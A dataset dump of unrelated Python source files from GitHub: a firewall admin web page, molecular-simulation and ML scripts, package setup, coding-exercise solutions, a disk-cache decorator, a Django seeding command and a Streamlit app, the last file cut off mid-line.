'panelAllowPort'),\n                    ('Forward Ports'     , 'panelForwardPort'),\n                    ('Transparent Proxy' , 'panelTransparentProxy'),\n                    ('Firewall Zones'    , 'panelZones'),\n                )),\n\n                tags.div(id=\"panelAllowIP\", _class=\"tabPane\")[\n                    tags.h3[\"Allowed IP addresses and networks\"], \n                    PageHelpers.dataTable(['Network Zone', 'Source IP', ''], [ \n                        r + [tags.a(\n                            href=\"Delete/AIP/%s/\"%(i), \n                            onclick=\"return confirm('Are you sure you want to delete this entry?');\",\n                            title=\"Delete this allowed IP range\"\n                        )[tags.img(src=\"/images/ex.png\")]]\n                    for i,r in enumerate(rules['AIP'])]),\n                    tags.h3[\"Add rule\"],\n                    tags.directive('form allowRange'),\n                ],\n\n                tags.div(id=\"panelAllowPort\", _class=\"tabPane\")[\n                    tags.h3[\"Allowed ports\"],\n                    PageHelpers.dataTable(['Network Zone', 'Protocol', 'Port', 'Destination IP', ''], [\n                        r + [tags.a(\n                            href=\"Delete/APORT/%s/\"%(i), \n                            title=\"Delete this allowed port\",\n                            onclick=\"return confirm('Are you sure you want to delete this entry?');\"\n                        )[tags.img(src=\"/images/ex.png\")]]\n                    for i,r in enumerate(rules['APORT'])]),\n                    tags.h3[\"Add port rule\"],\n                    tags.directive('form allowPort'),\n                ],\n\n                tags.div(id=\"panelForwardPort\", _class=\"tabPane\")[\n                    tags.h3[\"Forwarded ports\"],\n                    PageHelpers.dataTable(['Forward To', 'Protocol', 'Port', 'Destination IP', ''], [\n                        r + [tags.a(\n                            href=\"Delete/FORWARD/%s/\"%(i), \n                            title=\"Delete this port forwarding rule\",\n                            onclick=\"return confirm('Are you sure you want to delete this entry?');\"\n                        )[tags.img(src=\"/images/ex.png\")]]\n                    for i,r in enumerate(rules['FORWARD'])]),\n                    tags.h3[\"Add port forward\"],\n                    tags.directive('form forwardPort'),\n                ],\n\n                tags.div(id=\"panelTransparentProxy\", _class=\"tabPane\")[\n                    tags.h3[\"Transparent Proxies\"],\n                    PageHelpers.dataTable(['Source Network', 'Destination Port', 'Source Port', 'Protocol', 'Destination Network', ''], [\n                        r + [tags.a(\n                            href=\"Delete/PROXY/%s/\"%(i), \n                            title=\"Delete this transparent redirection rule\",\n                            onclick=\"return confirm('Are you sure you want to delete this entry?');\"\n                        )[tags.img(src=\"/images/ex.png\")]]\n                    for i,r in enumerate(rules['PROXY'])]),\n                    tags.h3[\"Add proxy\"],\n                    tags.directive('form transProxy'),\n                ],\n\n                tags.div(id=\"panelZones\", _class=\"tabPane\")[\n                    tags.h3[\"Zones\"],\n                    PageHelpers.dataTable(['Zone Name', 'Policy', 'Log target', 'Interfaces', ''], \n                        [\n                            [\n                                zone, zd['policy'], zd['log'], [[i, tags.br] for i in zd['interfaces']],\n                                tags.a(\n                                    href=\"Delete/Zone/%s/\"%(zone),\n                                    title=\"Delete this firewall zone\",\n                                    onclick=\"return confirm('Are you sure you want to delete this zone?');\"\n                                )[tags.img(src=\"/images/ex.png\")]\n                            ] \n                        for zone, zd in self.sysconf.Shorewall.get('zones', {}).items()]\n                    ),\n                    tags.h3['Add zone'],\n                    tags.directive('form addZone')\n                ],\n            PageHelpers.LoadTabSwitcher()\n        ]\n","repo_name":"belasin/tums","sub_path":"tums/trunk/lite/Pages/Firewall.py","file_name":"Firewall.py","file_ext":"py","file_size_in_byte":12456,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"28034467637","text":"#!/usr/bin/env python3\nimport  glob\nimport  numpy\nimport  io\nimport  qm3\nimport  qm3.data\nimport  qm3.utils\nimport  qm3.utils.interpolation\nimport  qm3.engines.mmres\nimport  matplotlib.pyplot as plt\n\nlst = sorted( glob.glob( \"node.??\" ) )\nmol = qm3.molecule()\nmol.prmtop_read( open( \"complex.prmtop\", \"rt\" ) )\nmol.xyz_read( open( lst[0] ), replace = True )\n\nf = io.StringIO( \"\"\"\nA/63/OH\t\tA/63/H39\nA/63/H39\tA/247/O\nA/247/O\t\tA/247/H1\nA/247/H1\tA/201/OG\nA/201/OG\tA/201/HG\nA/201/HG\tA/218/OE2\n\"\"\" )\n\nbnd = []\nfor l in f:\n    t = l.split()\n    if( len( t ) == 2 ):\n        print( t )\n        a = []\n        for b in t:\n            _s, _r, _l = b.split( \"/\" )\n            a.append( mol.indx[_s][int(_r)][_l] )\n        bnd.append( a )\n\nnwin = len( lst )\nncrd = len( bnd )\nrcrd = numpy.zeros( ( nwin, ncrd ) )\nfor i in range( nwin ):\n    mol.xyz_read( open( lst[i] ), replace = True )\n    for j in range( ncrd ):\n        rcrd[i,j] = qm3.utils.distance( mol.coor[bnd[j][0]], mol.coor[bnd[j][1]] )\n\nwith open( \"pmf_s.cnf\", \"wt\" ) as f_cnf:\n    f_cnf.write( \"%d %d\\n\"%( ncrd, nwin ) )\n    for j in range( ncrd ):\n        f_cnf.write( \"%8d%8d\\n\"%( bnd[j][0], bnd[j][1] ) )\n\nf_str = io.StringIO()\nfor i in range( nwin ):\n    for j in range( ncrd ):\n        f_str.write( \"%12.4lf\"%( rcrd[i,j] ) )\n    f_str.write( \"\\n\" )\n\nf_str.seek( 0 )\nobj = qm3.engines.mmres.colvar_s( mol, .0, .0, open( \"pmf_s.cnf\" ), f_str, None )\n\nwith open( \"pmf_s.met\", \"wt\" ) as f_met:\n    for i in range( nwin ):\n        mol.xyz_read( open( lst[i] ), replace = True )\n        f_met.write( \"\".join( [ \"%8.3lf\"%( i ) for i in obj.metrics( mol ).ravel().tolist() ] ) + \"\\n\" )\n\nf_str.seek( 0 )\nobj = qm3.engines.mmres.colvar_s( mol, .0, .0, open( \"pmf_s.cnf\" ), f_str, open( \"pmf_s.met\" ) )\n\nplt.clf()\nplt.grid( True )\nplt.plot( obj.arcl[1:], '-o' )\nplt.show()\n\narcl = numpy.cumsum( obj.arcl )\nequi = numpy.array( [ arcl[-1] / ( nwin - 1.0 ) * i for i in range( nwin ) ] )\nfcrd = numpy.zeros( ( nwin, ncrd ) )\nplt.clf()\nplt.grid( True )\nfor j in range( ncrd ):\n    inte = qm3.utils.interpolation.hermite_spline( arcl, rcrd[:,j], \"akima\" )\n    fcrd[:,j] = numpy.array( [ inte.calc( x )[0] for x in equi ] )\n    plt.plot( rcrd[:,j], '-' )\n    plt.plot( fcrd[:,j], 'o' )\nplt.savefig( \"setup.pdf\" )\nplt.show()\n\nwith open( \"pmf_s.str\", \"wt\" ) as f_str:\n    for i in range( nwin ):\n        for j in range( ncrd ):\n            f_str.write( \"%12.4lf\"%( fcrd[i,j] ) )\n        f_str.write( \"\\n\" )\n\nobj = qm3.engines.mmres.colvar_s( mol, .0, .0,\n        open( \"pmf_s.cnf\" ), open( \"pmf_s.str\" ), open( \"pmf_s.met\" ) )\n\nwith open( \"pmf_s.delz\", \"wt\" ) as f:\n    f.write( \"%.6lf\\n\"%( obj.delz ) )\n\nplt.clf()\nplt.grid( True )\nplt.plot( obj.arcl[1:], '-o' )\nplt.show()\n","repo_name":"sergio-marti/ren-qm3","sub_path":"tools/setup/s_setup.py","file_name":"s_setup.py","file_ext":"py","file_size_in_byte":2711,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"2935745436","text":"#!/usr/bin/env python\n\ntry:\n    from setuptools import setup, find_packages\nexcept ImportError:\n    raise RuntimeError('setuptools is required')\n\nDESCRIPTION = ('pvops is a python library for the analysis of ' +\n               'field collected operational data for photovoltaic systems.')\n\nLONG_DESCRIPTION = \"\"\"\npvops is a python package for PV operators & researchers. It is\na collection of functions for working with text-based data\nfrom photovoltaic power systems. The library includes functions for\nprocessing text data as well as fusion of the text information with\ntime series data for visualization of contextual details for data\nanalysis. \n\nDocumentation: https://pvops.readthedocs.io/en/latest/index.html\n\nSource code: https://github.com/sandialabs/pvOps\n\n\"\"\"\n\nDISTNAME = 'pvops'\nMAINTAINER = \"Thushara Gunda\"\nMAINTAINER_EMAIL = 'tgunda@sandia.gov'\nLICENSE = 'Revised BSD'\nURL = 'https://github.com/sandialabs/pvops'\n\nTESTS_REQUIRE = [\n    'pytest',\n]\n\nINSTALL_REQUIRES = [\n    'numpy >= 1.15.0',\n    'pandas >= 0.23.0',\n    'scipy >= 1.2.0',\n    'scikit-learn',\n    'nltk',\n    'datefinder',\n    'matplotlib',\n    'seaborn',\n    'plotly',\n    'gensim',\n    'networkx',\n    'pvlib',\n    'pvanalytics',\n    'timezonefinder'\n]\n\nDOCS_REQUIRE = [\n    'sphinx == 2.2.0'\n]\n\nEXTRAS_REQUIRE = {\n    'optional': ['ruptures'],\n    'test': TESTS_REQUIRE,\n    'doc': DOCS_REQUIRE\n}\n\nEXTRAS_REQUIRE['all'] = sorted(set(sum(EXTRAS_REQUIRE.values(), [])))\n\nSETUP_REQUIRES = ['setuptools_scm']\n\nCLASSIFIERS = [\n    'Development Status :: 2 - Pre-Alpha',\n    'Operating System :: OS Independent',\n    'Intended Audience :: Science/Research',\n    'Programming Language :: Python :: 3',\n    'Topic :: Scientific/Engineering'\n]\n\nPACKAGES = find_packages(exclude=[\"*.tests\", \"*.tests.*\", \"tests.*\", \"tests\"])\n\nsetup(\n    name=DISTNAME,\n    use_scm_version=True,\n    packages=PACKAGES,\n    install_requires=INSTALL_REQUIRES,\n    extras_require=EXTRAS_REQUIRE,\n    tests_require=TESTS_REQUIRE,\n    setup_requires=SETUP_REQUIRES,\n    ext_modules=[],\n    description=DESCRIPTION,\n    long_description=LONG_DESCRIPTION,\n    maintainer=MAINTAINER,\n    maintainer_email=MAINTAINER_EMAIL,\n    license=LICENSE,\n    classifiers=CLASSIFIERS,\n    url=URL\n)\n","repo_name":"kandersolar/pvOps","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":2234,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"21"}
+{"seq_id":"17050933840","text":"#!/usr/bin/env python3\n\nimport os\n\nos.environ[\"KERAS_BACKEND\"] = \"torch\"\n\nimport numpy as np\n\nimport matplotlib\nmatplotlib.use('TkAgg')\nimport matplotlib.pyplot as plt\n\nimport keras_core as keras\n\nENCODER_MODEL_FILE = \"../model/encoder.keras\"\nDECODER_MODEL_FILE = \"../model/decoder.keras\"\n\nencoder = keras.saving.load_model(ENCODER_MODEL_FILE)\ndecoder = keras.saving.load_model(DECODER_MODEL_FILE)\n\nwith np.load(\"./dataset/mnist.npz\") as f:\n    x_train, y_train = f['x_train'], f['y_train']\n    x_test, y_test = f['x_test'], f['y_test']\n\nx_train = x_train.astype('float32') / 255.\nx_validation = x_test[5001:10000].astype('float32') / 255.\n\nprint(\"reconstructing\")\n\nlatent = encoder.predict(x_validation)\nreconstructions = decoder.predict(latent)\n\nprint(\"printing\")\n\nplt.figure(figsize=(20, 4))\nplt.gray()\nn = 20\nfor i in range(n):\n    val_plt = plt.subplot(2, n, i + 1)\n    recon_plt = plt.subplot(2, n, i + 1 + n)\n\n    val_plt.get_xaxis().set_visible(False)\n    val_plt.get_yaxis().set_visible(False)\n    recon_plt.get_xaxis().set_visible(False)\n    recon_plt.get_yaxis().set_visible(False)\n    \n    val_plt.imshow(x_validation[i].reshape(28, 28))       \n    recon_plt.imshow(reconstructions[i].reshape(28, 28))\n\nplt.show()","repo_name":"ncravino/keras-core-torch-autoencoders","sub_path":"scripts/test_autoencoder.py","file_name":"test_autoencoder.py","file_ext":"py","file_size_in_byte":1225,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"19181787750","text":"import nmmo\nfrom typing import Dict\nfrom neurips2022nmmo import Team, exception\nfrom aicrowd_gym.servers.zmq_agent_server import ZmqAgent\n\nTIMEOUT_RETURN = \"TimeoutError\"\nACT_TIMEOUT = 600\nRESET_TIMEOUT = 30000\n\n\nclass AIcrowdAgentTeam(Team):\n    agent: ZmqAgent\n\n    def __init__(\n        self,\n        team_id: str,\n        env_config: nmmo.config.Config,\n        aicrowd_agent: ZmqAgent,\n        reset_timeout=RESET_TIMEOUT,\n        act_timeout=ACT_TIMEOUT,\n        **kwargs,\n    ) -> None:\n        super().__init__(team_id, env_config, **kwargs)\n\n        self.agent = aicrowd_agent\n        self.reset_timeout = reset_timeout\n        self.act_timeout = act_timeout\n        self.timeout_act_req_id = \"\"\n\n    def reset(self) -> None:\n        req_id = self.agent.execute(\"reset\")\n        ret = self.agent.get_response(req_id,\n                                      TIMEOUT_RETURN,\n                                      timeout=self.reset_timeout)\n        if ret == TIMEOUT_RETURN:\n            raise exception.TeamTimeoutError(\n                f\"team[{self.id}] reset exceeds {self.reset_timeout}ms\")\n\n    def act(self, observations: Dict[int, dict]) -> Dict[int, dict]:\n        if self.timeout_act_req_id:\n            ret = self.agent.get_response(self.timeout_act_req_id,\n                                          TIMEOUT_RETURN,\n                                          timeout=1)\n            if ret == TIMEOUT_RETURN:\n                return {}\n            else:\n                self.timeout_act_req_id = \"\"\n\n        req_id = self.agent.execute(\"act\", observations)\n        ret = self.agent.get_response(req_id,\n                                      TIMEOUT_RETURN,\n                                      timeout=self.act_timeout)\n        if ret == TIMEOUT_RETURN:\n            self.timeout_act_req_id = req_id\n            raise exception.TeamTimeoutError(\n                f\"team[{self.id}] act exceeds {self.act_timeout}ms\")\n\n        return ret\n","repo_name":"MuaDou/nmmo","sub_path":"pkg/team.py","file_name":"team.py","file_ext":"py","file_size_in_byte":1946,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"21567874238","text":"import numpy as np\nimport tensorflow as tf\n\n\ndef calculate_class_weight(dataset: tf.data.Dataset, alpha: float) -> dict[int, float]:\n    \"\"\"\n    :param dataset:\n    :param alpha: raw_weights can be far off from each other if the disbalance is very big, and this can\n                  lead the model astray because it will focus too much on the underrpresented classes.\n                  Better if it focuses on them more, but still gives some attention to the other classes.\n                  This parameter should be used to balance the weights. Using 0 will make the weights\n                  equal to raw_weights, and using 1 will make weights contain averages.\n    :return:\n    \"\"\"\n    class_sums = None\n\n    for _, labels in dataset:\n        batch_sum = np.sum(labels.numpy(), axis=0)\n        if class_sums is None:\n            class_sums = batch_sum\n        else:\n            class_sums += batch_sum\n\n    total_samples = sum(class_sums)\n    n_classes = len(class_sums)\n    raw_weights = {i: (1 / class_sum) * total_samples / n_classes for i, class_sum in enumerate(class_sums)}\n    average_weight = sum(raw_weights.values()) / n_classes\n    weights = {i: alpha * average_weight + (1 - alpha) * raw_weight for i, raw_weight in raw_weights.items()}\n\n    return weights\n","repo_name":"mmalek06/engineering_degree","sub_path":"src/functions/class_weights.py","file_name":"class_weights.py","file_ext":"py","file_size_in_byte":1273,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"72774961334","text":"import sys\ninput = sys.stdin.readline\nsys.setrecursionlimit(10**9)\n\nn,r,q = map(int, input().split())\ntree = [[] for _ in range(n+1)]\ncount = [0]*(n+1)\n\nfor _ in range(n-1):\n    a,b = map(int, input().split())\n    tree[a].append(b)\n    tree[b].append(a)\n\ndef dfs(root):\n    count[root]=1\n    for node in tree[root]:\n        if not(count[node]):\n            dfs(node)\n            count[root]+=count[node]\n            \n            \ndfs(r)\n\nfor i in range(q):\n    u = int(input())\n    print(count[u])\n            \n","repo_name":"JangAyeon/Algorithm","sub_path":"23-1/boj/15681.py","file_name":"15681.py","file_ext":"py","file_size_in_byte":511,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"21939048596","text":"from ezee import * \n\napp = ezee_app()\n\n@app.url('/')\ndef helloWorld(env):\n    return 'hello world!'\n\n@app.url('/welcom')\ndef welcom(env):\n    name =  env['QUERY_STRING'] if env['QUERY_STRING'] else 'World'\n    return render_html(dict(name=name), 'index.tpl')\n\n@app.url('/err')\ndef err(env):\n    num = 100 / 0 # Should be Error\n    return 'There is an Error'\n\nif __name__ == '__main__':\n    app.run()\n","repo_name":"ee0703/Ezee","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":400,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"37080988567","text":"import json\nfrom django.core.management.base import BaseCommand\nfrom songdecks.models import Faction, Commander, CardTemplate\n\nclass Command(BaseCommand):\n    def handle(self, *args, **options):\n        with open('songdecks/songdecks/data/setup.json') as f:\n            all_info = f.read()\n        for faction in json.loads(all_info):\n            faction_obj, created = Faction.objects.get_or_create(\n                name=faction['faction'],\n                img_url=faction['img_url'],\n            )\n            for card in faction['cards']:\n                CardTemplate.objects.get_or_create(\n                    card_name=card['name'],\n                    img_url=card['img_url'],\n                    faction=faction_obj,\n                    commander=None,\n                    defaults={\n                        'game_count': 0,\n                        'play_count': 0,\n                        'discard_count': 0,\n                    }\n                )\n            for commander in faction['commanders']:\n                commander_obj, created = Commander.objects.get_or_create(\n                    name=commander['name'],\n                    img_url=commander['img_url'],\n                    faction=faction_obj,\n                )\n                for card in commander['cards']:\n                    CardTemplate.objects.get_or_create(\n                        card_name=card['name'],\n                        img_url=card['img_url'],\n                        faction=faction_obj,\n                        commander=commander_obj,\n                        defaults={\n                            'game_count': 0,\n                            'play_count': 0,\n                            'discard_count': 0,\n                        }\n                    )\n        all_templates = CardTemplate.objects.all()\n        for template in all_templates:\n            duplicates = CardTemplate.objects.filter(\n                card_name=template.card_name,\n                faction=template.faction,\n                commander=template.commander,\n            )\n            if len(duplicates) > 1:\n                duplicates[1:].delete()","repo_name":"NathanielHart44/song-decks","sub_path":"django/songdecks/songdecks/management/commands/createDB.py","file_name":"createDB.py","file_ext":"py","file_size_in_byte":2119,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"73661516212","text":"\"\"\"\n조합 0의 개수 - 검색\n0의 개수만 필요하다는 아이디어만 참고\n메모리초과\n\"\"\"\nimport sys\nsysIn = sys.stdin.readline()\n\n\n# 2와 5의 개수를 얻는 함수\ndef count_twoFive(n):\n    two = 0\n    five = 0\n    while n % 2 == 0 or n % 5 == 0:\n        if n % 2 == 0:\n            n = n / 2\n            two += 1\n        if n % 5 == 0:\n            n = n / 5\n            five += 1\n    return [two, five]\n\n\ndef factorial_twoFive(n):\n    two = 0\n    five = 0\n    for i in range(2, n+1):\n        t, f = count_twoFive(i)\n        two += t\n        five += f\n        d[i] = [two, five]\n    return [two, five]\n\n\ndef solution(nums):\n    answer = 0\n    a, b = map(int, nums.split())\n    global d\n    d = [[-1, -1] for _ in range(a + 1)]\n\n    two1, five1 = factorial_twoFive(a)\n    two2, five2 = d[a-b]\n    two3, five3 = d[b]\n    two = two1 - (two2 + two3)\n    five = five1 - (five2 + five3)\n    if two == 0 or five == 0:\n        return 0\n    else:\n        while two != 0 and five != 0:\n            two -= 1\n            five -= 1\n            answer += 1\n\n    return answer\n\n\nif __name__ == '__main__':\n    print(solution(sysIn.rstrip()))\n","repo_name":"cotton-han/Algorithm","sub_path":"BAEKJOON/MATH/2004(3).py","file_name":"2004(3).py","file_ext":"py","file_size_in_byte":1146,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"73723782774","text":"import functools\nimport glob\nimport hashlib\nimport json\nimport os\nimport pickle\nimport time\n\nimport pandas as pd\nimport pyarrow as pa\nimport pyarrow.parquet as pq\n\nfrom zdutil.log import timeit\n\n# ideally we use the home directory, current directory otherwise\nHOME = os.environ.get('HOME', '.')\nCACHE_PATH = '/'.join((HOME, '.zdata'))\nVALID_EXT = set(['parquet', 'pkl', 'feather'])\n\n\ndef _load_most_recent_from_cache(contains):\n    \"\"\"loads most recent cache key containing substring (useful for debugging/speeding up load times)\"\"\"\n    if callable(contains):\n        contains = contains.__name__\n    files = glob.glob(f\"{CACHE_PATH}/{contains}*\")\n    latest_file = max(files, key=os.path.getctime)\n    return read_from_disk(latest_file)\n\n\ndef safe_json(data):\n    \"\"\"determines if something can be serialized to JSON\"\"\"\n    if data is None:\n        return True\n    elif isinstance(data, (bool, int, float, str)):\n        return True\n    elif isinstance(data, (tuple, list)):\n        return all(safe_json(x) for x in data)\n    elif isinstance(data, dict):\n        return all(isinstance(k, str) and safe_json(v) for k, v in data.items())\n    # although raw dataframes are not generally json serializable we will hash them later\n    elif isinstance(data, pd.DataFrame):\n        return True\n    return False\n\n\ndef serialize_df(o):\n    if isinstance(o, pd.DataFrame):\n        return int(pd.util.hash_pandas_object(o).sum())\n    else:\n        return o\n\n\ndef _hash_input(*args, **kwargs):\n    # TODO: make this more general so kwargs and positional args\n    # that are the same thing hash to the same key\n    kwargs = {k: v for k, v in kwargs.items() if safe_json(v)}\n    args = [arg for arg in args if safe_json(arg)]\n    key = {'kwargs': kwargs, 'args': args}\n    serialized = json.dumps(key, default=serialize_df)\n    return hashlib.sha256(serialized.encode()).hexdigest()\n\n\ndef _cache_path(func, *args, **kwargs):\n    \"\"\"cache path from args\"\"\"\n    return f\"{CACHE_PATH}/{func.__name__}-{_hash_input(*args, **kwargs)}\"\n\n\n@timeit\ndef write_to_disk(obj, path):\n    \"\"\"writes file to disk\"\"\"\n    ext = path.split('.')[-1]\n    if ext == 'parquet':\n        table = pa.Table.from_pandas(obj)\n        pq.write_table(table, path)\n    elif ext == 'feather':\n        obj.to_feather(path)\n    elif ext == 'pkl':\n        with open(path, 'wb+') as f:\n            pickle.dump(obj, f)\n    else:\n        raise Exception('bad ext.')\n\n\n@timeit(wargs=True)\ndef read_from_disk(path):\n    \"\"\"reads file from disk\"\"\"\n    ext = path.split('.')[-1]\n    if ext == 'parquet':\n        table = pq.read_table(path)\n        result = table.to_pandas()\n    elif ext == 'feather':\n        result = pd.read_feather(path)\n    elif ext == 'pkl':\n        with open(path, 'rb+') as f:\n            result = pickle.load(f)\n    else:\n        raise Exception('bad ext.')\n    return result\n\n\ndef disk_cache(func=None, *, max_age='3D', ext='parquet'):\n    \"\"\"\n    decorator to cache functions to disk using hash of input arguments\n\n    :param func: function run/result to cache\n    :param max_age: maximum age (this is in the style of pandas timedelta so (1S, 1M, 1H, 1D, etc)\n    :param ext: file extension to use/format to write to disk (parquet, feather, or pickle)\n    :return: function result\n    \"\"\"\n    if ext not in VALID_EXT:\n        raise Exception(f\"extension {ext} not supported\")\n\n    if func is None:\n        return functools.partial(disk_cache, max_age=max_age, ext=ext)\n\n    @functools.wraps(func)\n    def wrapper(*args, **kwargs):\n        path = _cache_path(func, *args, **kwargs) + '.' + ext\n        if not os.path.exists(path):\n            if not os.path.exists(CACHE_PATH):\n                os.makedirs(CACHE_PATH)\n            result = func(*args, **kwargs)\n            write_to_disk(result, path)\n        else:\n            age = time.time() - os.path.getmtime(path)\n            if age < pd.to_timedelta(max_age).total_seconds():\n                result = read_from_disk(path)\n            else:\n                print(f'too old, deleting from disk: {path}')\n                os.remove(path)\n                result = wrapper(*args, **kwargs)\n        return result\n\n    return wrapper\n","repo_name":"ziggyzacks/zdutil","sub_path":"zdutil/cache.py","file_name":"cache.py","file_ext":"py","file_size_in_byte":4153,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"72862317494","text":"# Given a 2D grid of size m x n and an integer k. You need to shift the grid k times.\n\n# In one shift operation:\n\n#     Element at grid[i][j] moves to grid[i][j + 1].\n#     Element at grid[i][n - 1] moves to grid[i + 1][0].\n#     Element at grid[m - 1][n - 1] moves to grid[0][0].\n\n# Return the 2D grid after applying shift operation k times.\n\n# Input: grid = [[1,2,3],[4,5,6],[7,8,9]], k = 1\n# Output: [[9,1,2],[3,4,5],[6,7,8]]\n\nclass Solution:\n    def shiftGrid(self, grid: List[List[int]], k: int) -> List[List[int]]:\n        rows = len(grid)\n        cols = len(grid[0])\n        prev = grid[0][0]\n        for i in range(k):\n            for row,r in enumerate(grid):\n                for col,val in enumerate(r):\n                    current = val\n                    grid[row][col] = prev\n                    prev = current\n            grid[0][0] = current\n        return grid\n            \n# Time complexity is O(N * M * K)\n\n# Space complexity is O(1)","repo_name":"conor47/Algorithm-Patterns","sub_path":"General Problems/Matrix/shift2Dgrid.py","file_name":"shift2Dgrid.py","file_ext":"py","file_size_in_byte":952,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"24830212172","text":"from dataclasses import dataclass, field\nfrom typing import List\n\n\n@dataclass\nclass Game_Accumulator:\n    '''Class for keeping track of an item in inventory.\n\n    Constructor arguments:\n    :param name: name of the item\n    :param unit_price: price in USD per unit of the item\n    :param quantity_on_hand: number of units currently available\n    '''\n    codes_to_process: List = field(default_factory=list)\n    path: str = ''\n    _alerady_read: List = field(default_factory=list)\n    _state: int = 0\n    _line: int = 0\n    _jump: str = \"jmp\"\n    _accumulate: str = \"acc\"\n    _init: str = \"nop\"\n    \n    \n    @property\n    def state(self) -> int:\n        return self._state\n    \n    @property\n    def jump(self) -> str:\n        return self._jump\n    \n    \n    def set_steps(self):\n        with open(self.path) as f:\n            read_data = f.read()\n        lst_data = read_data.splitlines()\n        self.codes_to_process = [i.split(' ') for i in lst_data]\n        return True\n    \n    \n    def run_steps(self):\n        while self._line not in self._alerady_read:\n            self._alerady_read.append(self._line)\n            if(self.codes_to_process[self._line][0] == self._init):\n                pass\n            elif(self.codes_to_process[self._line][0] == self._jump):\n                self._line += int(self.codes_to_process[self._line][1])\n                continue\n            elif(self.codes_to_process[self._line][0] == self._accumulate):\n                self._state += int(self.codes_to_process[self._line][1])\n            self._line += 1\n        return True\n\n\nif __name__ == \"__main__\":\n    accumulator1 = Game_Accumulator()\n    accumulator1.path=\"./text1.txt\"\n    \n    accumulator2 = Game_Accumulator()\n    accumulator2.path=\"./text2.txt\"\n    \n    accumulator3 = Game_Accumulator(path=\"./text3.txt\")\n    \n    accumulator1.set_steps()\n    accumulator1.run_steps()\n    \n    accumulator2.set_steps()\n    accumulator2.run_steps()\n    \n    accumulator3.set_steps()\n    accumulator3.run_steps()\n    \n    print(accumulator1.state)\n    print(accumulator2.state)\n    print(accumulator3.state)\n","repo_name":"etiiiR/adventOfCode_2020","sub_path":"8.py","file_name":"8.py","file_ext":"py","file_size_in_byte":2092,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"4801930575","text":"import streamlit as st\nimport os\n\ndef main():\n    st.sidebar.header(\"Selecciona el módulo que quieras implementar:\")\n    menu = [\"Pantalla Principal\", \"Reglas de Asociación\", \"Métricas de distancia\", \"Clustering\",\"Clasificación (R. Logística)\"]\n    option = st.sidebar.selectbox(\"Módulo\", menu)\n\n    if option == \"Pantalla Principal\":\n        st.title(\"SmartsSolutions\")\n        imagen = st.image(\"https://www.muycomputerpro.com/wp-content/uploads/2021/03/inversion-inteligencia-artificial-europa-2021.jpg\")\n        st.write(\"\"\"eervevververver\"\"\")\n\n    if option == \"Reglas de Asociación\":\n        import asociacion\n        asociacion.mainAsociacion()\n\n    if option == \"Métricas de distancia\":\n        import metricas\n        metricas.mainMetricas()\n\n    if option == \"Clustering\":\n        import clustering\n        clustering.mainClustering()\n\n    if option == \"Clasificación (R. Logística)\":\n        import clasificacion\n        clasificacion.mainClasificacion()\n\nif __name__ == \"__main__\":\n    main()\n\n# Para ejeuctarlo en la terminal:\n# activate IA\n# streamlit run app.py\n","repo_name":"OscarCasasolaGarcia/Pruebas","sub_path":"SmartSolutions/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1087,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"7471731433","text":"import datetime as dt\nimport pandas as pd\nfrom bokeh.plotting import figure, \\\n                           output_file, \\\n                           show, \\\n                           save, \\\n                           gmap\nfrom bokeh.layouts import layout\nfrom bokeh.embed import components\nfrom bokeh.models import LinearAxis, \\\n                         Range1d, \\\n                         ColumnDataSource, \\\n                         GMapOptions\nfrom sqlalchemy.sql import functions as func\n\nfrom code.key_utils import get_secret_key\nfrom code.flaskr import app\nfrom code.db_model import db, \\\n                          connect_to_db, \\\n                          MedicalCall, \\\n                          TractGeometry\nfrom code.mappings import AMBULANCE_UNITS, \\\n                          PRIORITY_CODES, \\\n                          GROUPING_FREQ\nfrom code.tract_tools import get_tract_geom\n\n\nGMAP_API_KEY = get_secret_key('GMAP_API_KEY')\n\nclass StatsPlotter:\n    \"\"\"Plotting class for tract statistics.\n\n    Optional filtering can be done based starting date and end date. Dates are\n    strings formatted as %Y-%m-%d, e.g. '2019-02-13'.\"\"\"\n    def __init__(self,\n                 tract_id=None,\n                 min_date=None,\n                 max_date=None):\n        connect_to_db(app)\n\n        if not min_date:\n            min_date = db.session.query(\n                func.min(MedicalCall.received_dttm)\n            ).first()[0]\n\n        if not max_date:\n            max_date = db.session.query(\n                func.max(MedicalCall.received_dttm)\n            ).first()[0]\n\n        self.min_date = min_date\n        self.max_date = max_date\n\n        if tract_id:\n            self.tract = tract_id\n\n    @staticmethod\n    def _filter_response_times(tract_id, min_date, max_date):\n        \"\"\"Filter response times.\"\"\"\n        response_times_tmp = db.session.query(\n            MedicalCall.received_dttm,\n            MedicalCall.onscene_dttm - MedicalCall.received_dttm,\n            MedicalCall.original_priority,\n        )\n\n        response_times_tmp = response_times_tmp.filter(\n            MedicalCall.unit_type.in_(AMBULANCE_UNITS) &\n            MedicalCall.original_priority.in_(PRIORITY_CODES)\n        )\n\n        response_times_tmp = response_times_tmp.filter(\n            MedicalCall.tract == tract_id\n        )\n\n        response_times_tmp = response_times_tmp.filter(\n            MedicalCall.received_dttm >= min_date\n        )\n\n        response_times_tmp = response_times_tmp.filter(\n            MedicalCall.received_dttm 